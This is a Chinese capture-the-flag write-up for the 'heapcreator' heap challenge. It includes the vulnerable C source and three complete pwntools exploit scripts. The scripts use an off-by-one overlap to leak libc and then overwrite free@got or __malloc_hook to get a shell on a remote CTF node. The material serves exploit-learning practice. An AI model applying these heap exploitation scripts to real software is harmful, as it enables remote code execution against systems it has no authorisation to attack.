这个题出了一些坑点,我吐了,做了好久
先正常走一遍吧
off-by-one的流程就是extend chunk
粗糙的写一下刻在DNA里的exp,细节问题错了就错了吧
malloc(overflow)
malloc(1)
malloc(2)
malloc(我来守护上面俩东西不被top chunk吃掉)
edit(0,payload)
free(1)
free(2)
leak_libc()
some_functions_addr()
malloc(size(1) + size(2))
edit(1,写到chunk2的fd pointer)
然后就是fastbin attack
嗯,我一开始也这样做的,很顺利在本地getshell,但是远程打不通
在仓库里有本题目的源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void read_input(char *buf,size_t size){
int ret ;
ret = read(0,buf,size);
if(ret <=0){
puts("Error");
_exit(-1);
}
}
struct heap {
size_t size ;
char *content ;
};
struct heap *heaparray[10];
void menu(){
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
printf("Your choice :");
}
void create_heap(){
int i ;
char buf[8];
size_t size = 0;
for(i = 0 ; i < 10 ; i++){
if(!heaparray[i]){
heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
if(!heaparray[i]){
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf);
heaparray[i]->content = (char *)malloc(size);
if(!heaparray[i]->content){
puts("Allocate Error");
exit(2);
}
heaparray[i]->size = size ;
printf("Content of heap:");
read_input(heaparray[i]->content,size);
puts("SuccessFul");
break ;
}
}
}
void edit_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Content of heap : ");
read_input(heaparray[idx]->content,heaparray[idx]->size+1);
puts("Done !");
}else{
puts("No such heap !");
}
}
void show_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
puts("Done !");
}else{
puts("No such heap !");
}
}
void delete_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]->content);
free(heaparray[idx]);
heaparray[idx] = NULL ;
puts("Done !");
}else{
puts("No such heap !");
}
}
int main(){
char buf[4];
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
while(1){
menu();
read(0,buf,4);
switch(atoi(buf)){
case 1 :
create_heap();
break ;
case 2 :
edit_heap();
break ;
case 3 :
show_heap();
break ;
case 4 :
delete_heap();
break ;
case 5 :
exit(0);
break ;
default :
puts("Invalid Choice");
break;
}
}
return 0 ;
}
逆向
很容易,没有去除符号表,很nice
创建堆块,这里malloc(0x10)来管理堆块
编辑功能存在off-by-one漏洞,可以溢出一字节
free功能没有use after free 漏洞
show功能,可以来leak libc
pwn it!!!
成功的方法:借助heaparray来改写指针
可以看到管理用户堆的内容上是有指针的,我最喜欢指针了(不是
然后我们可以改写指针,因为防护是这样的:
所以可以攻击got表,注意,攻击got的表的核心在于,,这个题是有现成的指针可以利用!如果没有的话,在ubuntu 16中,我们攻击got表的成本会很高,因为要伪造fastbin的size位
那我们思路就是本文一开始说的,只不过不覆盖fd指针而是覆盖题目给我们留下的罢了
先说说坑点吧,我用了libc-2.23.so,但是远程打不通,本地可通,就很难受,所以干脆直接LibcSearcher ,浪费了很多时间 😦
当时做题的思路都写在print语句里了,还挺好的
exp:
from pwn import *
from LibcSearcher import *
#l3mon_w@nts_A_g1rLfri3nd (bushi)
#context.log_level = 'debug'
local = 1
if local == 1:
p = process('./heapcreator')
else:
p = remote('node3.buuoj.cn',28861)
#libc = ELF('./libc.so.6')
elf = ELF('./heapcreator')
def add(size,content):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Size of Heap : ',str(size))
p.sendafter('Content of heap:',content)
def edit(index,content):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index :',str(index))
p.sendafter('Content of heap : ',content)
def show(index):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index :',str(index))
def delete(index):
p.sendlineafter('Your choice :','4')
p.sendlineafter('Index :',str(index))
print("第二个exp的思路是因为这个题目有heaparray来管理我们申请的堆块,在heaparray中有指向内容的指针,所以我们可以改写指针来覆盖got表(got表)可写")
add(0x18,'A') #chunk0 : to overflow the next chunk
add(0x30,'B') #chunk1
pause()
add(0x60,'C') #chunk2
add(0x10,'/bin/sh\x00') #chunk3 : to protect
edit(0,b'B' * 0x18 + b'\xf1')
delete(1)
delete(2)
print("此时big chunk已经构造完成,by gdb , we know the unsorted bin fd ptr and bk ptr")
print("(by free 0x60 , we can change the fd pointer to fastbin attack) <-------------------- 之前的思路")
print("this method is attack free@got, the free(sth) = sysetm(/bin/sh;) ")
print("(if we cannot success ,we could use some methods to attack got) <--------------------- so we change that :( !!!!!!!")
add(0xe0,'E') #chunk4 = big chunk
print("we can leak libc")
show(1)
p.recvuntil('Content : ')
__malloc_hook = u64(p.recv(6) + b'\x00\x00') - 37 - 0x10
libc = LibcSearcher('__malloc_hook',__malloc_hook)
libc_base = __malloc_hook - libc.dump('__malloc_hook')
print(hex(libc_base))
print("by gdb , we know we already have leaked the libc")
print("the next,we attack free@got ")
free_got = elf.got['free']
#free_addr = libc_base + libc.symbols['free']
system_addr = libc_base + libc.dump('system')
print("free ----------> " + hex(free_got))
print("system -------> " + hex(system_addr))
payload = p64(__malloc_hook) * 2
payload = payload + p64(0) + p64(0x41)
payload = payload + p64(0) * 7 + p64(0x21) + p64(0xe0) + p64(free_got)
edit(1,payload)
add(0x60,'AAAAAAAA') #chunk5 = chunk2
print("!!!!!!!!!!!!!!!!!!!!!! 这里不确定编辑块5还是块2,我们就加上p.interactive()拿到原始的交互程序调试一下,经过调试发现没有块5,所以这里我们应该编辑chunk2")
#edit(1,'BBBBBBBB')
print("这里很奇怪,当时我发现大chunk的heaparray在它下面,我还以为是中间出现了不可预知的错误,但是经过调试发现,当我改块1的时候,free_got被改了,那只能证明是改chunk1了")
print("小声bb,理不清流程就逐个调试(不是)")
edit(1,p64(system_addr))
print("通过free来触发 system(/bin/sh\00) 本地测试可拿shell, 美汁汁 :) 好,好起来了(不是)")
delete(3)
p.interactive()
失败的方法:one_gadget打__malloc_hook
本地也能拿shell,那肯定就是libc的原因了,one_gadget地址不一样的原因应该是
但是很奇葩,为神马这么说呢,当我打one_gadget的时候发现$rsp + 0x70的位置是NULL,但是one_gadget打不通,反倒是rsp + 0x30可以通
截图:
但是我用0x30的gadget竟然通了,本地可拿shell
不知道怎么回事,反正我人傻了,有感兴趣的师傅可以调试一下什么原因,然后给弟弟讲讲(orz
贴一下exp吧,下午再调试一下看看LibcSearcher能不能通
exp:
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
p = process('./heapcreator')
else:
p = remote('node3.buuoj.cn',26697)
libc = ELF('./libc.so.6')
def add(size,content):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Size of Heap : ',str(size))
p.sendafter('Content of heap:',content)
def edit(index,content):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index :',str(index))
p.sendafter('Content of heap : ',content)
def show(index):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index :',str(index))
def delete(index):
p.sendlineafter('Your choice :','4')
p.sendlineafter('Index :',str(index))
print("初步思路是off-by-one,可以溢出一个字节,所以我们考虑构造重叠chunk")
add(0x18,'A') #chunk0 : to overflow the next chunk
add(0x30,'B') #chunk1
add(0x60,'C') #chunk2
add(0x10,'D') #chunk3 : to protect
edit(0,b'B' * 0x18 + b'\xf1')
delete(1)
print("此时big chunk已经构造完成,by gdb , we know the unsorted bin fd ptr and bk ptr")
delete(2)
print("by free 0x60 , we can change the fd pointer to fastbin attack")
print("this method is 'one_gadget' ")
print("if we cannot success ,we could use some methods to attack got")
add(0xe0,'E') #chunk4
print("we can leak libc")
show(1)
#p.recv()
p.recvuntil('Content : ')
__malloc_hook = u64(p.recv(6) + b'\x00\x00') - 37 - 0x10
libc_base = __malloc_hook - libc.symbols['__malloc_hook']
one_gadget_list = [0x3f3d6,0x3f42a,0xd5bf7]
one_gadget = libc_base + one_gadget_list[1]
print(hex(libc_base))
print("by gdb , we know we already have leaked the libc")
print("the next,we do fake chunk")
payload = p64(0) * 3 + p64(0x41) + p64(0) * 7 + p64(0x21) + p64(0xe0) + p64(0x9ba050) + p64(0) + p64(0x71)
payload = payload + p64(__malloc_hook-0x23)
edit(1,payload)
add(0x60,p64(__malloc_hook-0x23))
add(0x60,b'A' * 0x13 + p64(one_gadget))
pause()
p.interactive()
又实验了两次,失败的方法终于通了
怎么说呢,比赛不给libc果然是流氓题
在github上下了俩libc都不行,最后用buuctf资源库里面提供的libc打通了
exp没变,就是多加了两行one_gadget_list(哈哈哈哈哈哈哈草)
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
p = process('./heapcreator')
else:
p = remote('node3.buuoj.cn',26902)
libc = ELF('./libc-2.23.so')
def add(size,content):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Size of Heap : ',str(size))
p.sendafter('Content of heap:',content)
def edit(index,content):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index :',str(index))
p.sendafter('Content of heap : ',content)
def show(index):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index :',str(index))
def delete(index):
p.sendlineafter('Your choice :','4')
p.sendlineafter('Index :',str(index))
print("初步思路是off-by-one,可以溢出一个字节,所以我们考虑构造重叠chunk")
add(0x18,'A') #chunk0 : to overflow the next chunk
add(0x30,'B') #chunk1
add(0x60,'C') #chunk2
add(0x10,'D') #chunk3 : to protect
edit(0,b'B' * 0x18 + b'\xf1')
delete(1)
print("此时big chunk已经构造完成,by gdb , we know the unsorted bin fd ptr and bk ptr")
delete(2)
print("by free 0x60 , we can change the fd pointer to fastbin attack")
print("this method is 'one_gadget' ")
print("if we cannot success ,we could use some methods to attack got")
add(0xe0,'E') #chunk4
print("we can leak libc")
show(1)
#p.recv()
p.recvuntil('Content : ')
__malloc_hook = u64(p.recv(6) + b'\x00\x00') - 37 - 0x10
libc_base = __malloc_hook - libc.symbols['__malloc_hook']
#one_gadget_list = [0x3f3d6,0x3f42a,0xd5bf7]
#one_gadget_list = [0x45226,0x4527a,0xf0364,0xf1207]
#one_gadget_list = [0x45206,0x4525a,0xef9f4,0xf0897]
one_gadget_list = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one_gadget_list[1]
print(hex(libc_base))
print("one_gadget:" + hex(one_gadget))
print("by gdb , we know we already have leaked the libc")
print("the next,we do fake chunk")
payload = p64(0) * 3 + p64(0x41) + p64(0) * 7 + p64(0x21) + p64(0xe0) + p64(0x9ba050) + p64(0) + p64(0x71)
payload = payload + p64(__malloc_hook-0x23)
edit(1,payload)
add(0x60,p64(__malloc_hook-0x23))
add(0x60,b'A' * 0x13 + p64(one_gadget))
p.interactive()